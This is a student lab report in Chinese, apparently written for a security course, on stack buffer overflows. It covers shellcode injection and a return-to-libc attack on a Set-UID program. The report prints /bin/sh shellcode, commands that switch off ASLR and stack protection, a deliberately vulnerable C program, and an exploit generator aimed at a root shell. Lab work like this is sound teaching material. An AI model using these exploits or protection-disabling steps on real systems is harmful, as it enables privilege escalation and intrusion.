zoukankan      html  css  js  c++  java
  • 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

    20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

    注入shellcode

    实验步骤

    1. 准备一段Shellcode

    2. 设置环境

    Bof攻击防御技术

    • 从防止注入的角度来看:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
    • GCC中的编译器有堆栈保护技术(结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。)
    • 此时就需要手动设置环境,具体在终端中输入如下:
    root@KaliYL:~# execstack -s pwnyx    //设置堆栈可执行
    root@KaliYL:~# execstack -q pwnyx    //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    0
    

    3. 构造要注入的payload

    • 在终端中输入如下:
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    

    • 打开一个终端注入这段攻击buf:

    • 再开另外一个终端,用gdb来调试pwnyx这个进程,找到pwnyx的进程号是:3195

    • 启动gdb调试这个进程,

    • 通过设置断点,来查看注入buf的内存地址

    • 此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车

    • 通过如下方式寻找需要输入的地址:

    看到01020304了,就表明了这是返回地址的位置,也就是说0Xffffd34c是此时的位置。shellcode就紧紧的挨着这个地址,所以要输入地址是0xffffd350
    
    • 回到另一个终端,将input_shellcode修改如下:
    perl -e 'print "A" x 32;print "x50xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    
    • 最终成功,如下图:

    Return-to-libc 攻击实验

    实验准备

    • 本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。
    • 输入命令安装一些用于编译 32 位 C 程序的东西:
    sudo apt-get update
    sudo apt-get install lib32z1 libc6-dev-i386
    sudo apt-get install lib32readline-gplv2-dev
    


    前两个安装指令都能成功安装,第三个安装指令执行时,提示**Package 'lib32readline-gplv2-dev' has no installation candidate没有安装备项**的问题,我先忽略了这个问题继续做了下去,之后并没有出现状况。看来不是必须要安装的。在实验结束后,我上网查了这个问题并找到解决方法如下:
    # apt-get update
    # apt-get upgrade
    # apt-get install <packagename>
    不过需要额外1.5G的空间,装不装就随意啦
    
    • 输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash:

    实验步骤

    1. 初始设置

    • Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
    sudo sysctl -w kernel.randomize_va_space=0
    

    • 使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序:
    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    

    为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,
    

    2. 漏洞程序

    • 创建“retlib.c”文件,代码如下:
    include <stdlib.h>
    include <stdio.h>
    include <string.h>
    int bof(FILE *badfile)
    {
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
    }
    int main(int argc, char **argv)
    {
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly
    ");
    fclose(badfile);
    return 1;
    }
    
    • 编译该程序,并设置 SET-UID。命令如下:
    sudo su
    gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
    chmod u+s retlib
    exit
    

    上述程序有一个缓冲区溢出漏洞,它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。
    
    • 需要用到一个读取环境变量的程序:getenvaddr.c,代码如下
    include <stdio.h>
    include <stdlib.h>
    include <string.h>
    int main(int argc, char const *argv[])
    {
     char *ptr;
     if(argc < 3){
        printf("Usage: %s <environment var> <target program name>
    ", argv[0]);
        exit(0);
        }
     ptr = getenv(argv[1]);
     ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
     printf("%s will be at %p
    ", argv[1], ptr);
     return 0;
    }
    
    • 编译一下: gcc -m32 -o getenvaddr getenvaddr.c

    3. 攻击程序

    • 创建“exploit.c”文件,代码如下:
    include <stdlib.h>
    include <stdio.h>
    include <string.h>
    int main(int argc, char **argv)
    {
     char buf[40];
     FILE *badfile;
     badfile = fopen(".//badfile", "w");
     strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
     *(long *) &buf[32] =0x11111111; // "//bin//sh"
     *(long *) &buf[24] =0x22222222; // system()
     *(long *) &buf[36] =0x33333333; // exit()
     fwrite(buf, sizeof(buf), 1, badfile);
     fclose(badfile);
    }
    /*
    代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取。
    */
    

    4. 获取内存地址

    • 用刚才的 getenvaddr 程序获得 BIN_SH 地址:
    root@KaliYL:~# export BIN_SH="/bin/sh"设置环境变量
    0xffffde31就是BIN_SH 地址
    
    • gdb 设置断点
    • gdb 获得 system 和 exit 地址:
    • 修改 exploit.c 文件,填上刚才找到的内存地址:
    • 删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c:

    5. 攻击

    • 先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:
    运行攻击程序,生成badfile文件,运行漏洞程序,获得root权限,可见攻击成功
    
  • 相关阅读:
    【STM32H7】第3章 ThreadX GUIX和GUIX Studio介绍
    【STM32F429】第3章 ThreadX GUIX和GUIX Studio介绍
    Spring Boot Devtools 依赖详解
    《深入理解 Java 虚拟机》-- 读书笔记
    JAVA连接MySQ报错:Caused by: javax.net.ssl.SSLException: Received fatal alert: protocol_version
    JAVA生成文件的md5校验值
    IDEA启动报错:Error:java: Compilation failed: internal java compiler error
    JAVA读取本地html文件里的html文本
    SpringBoot打包实现静态文件、配置文件、jar包分离
    SpringBoot中Post请求提交富文本数据量过大参数无法获取的问题
  • 原文地址:https://www.cnblogs.com/yx20145312/p/6509209.html
Copyright © 2011-2022 走看看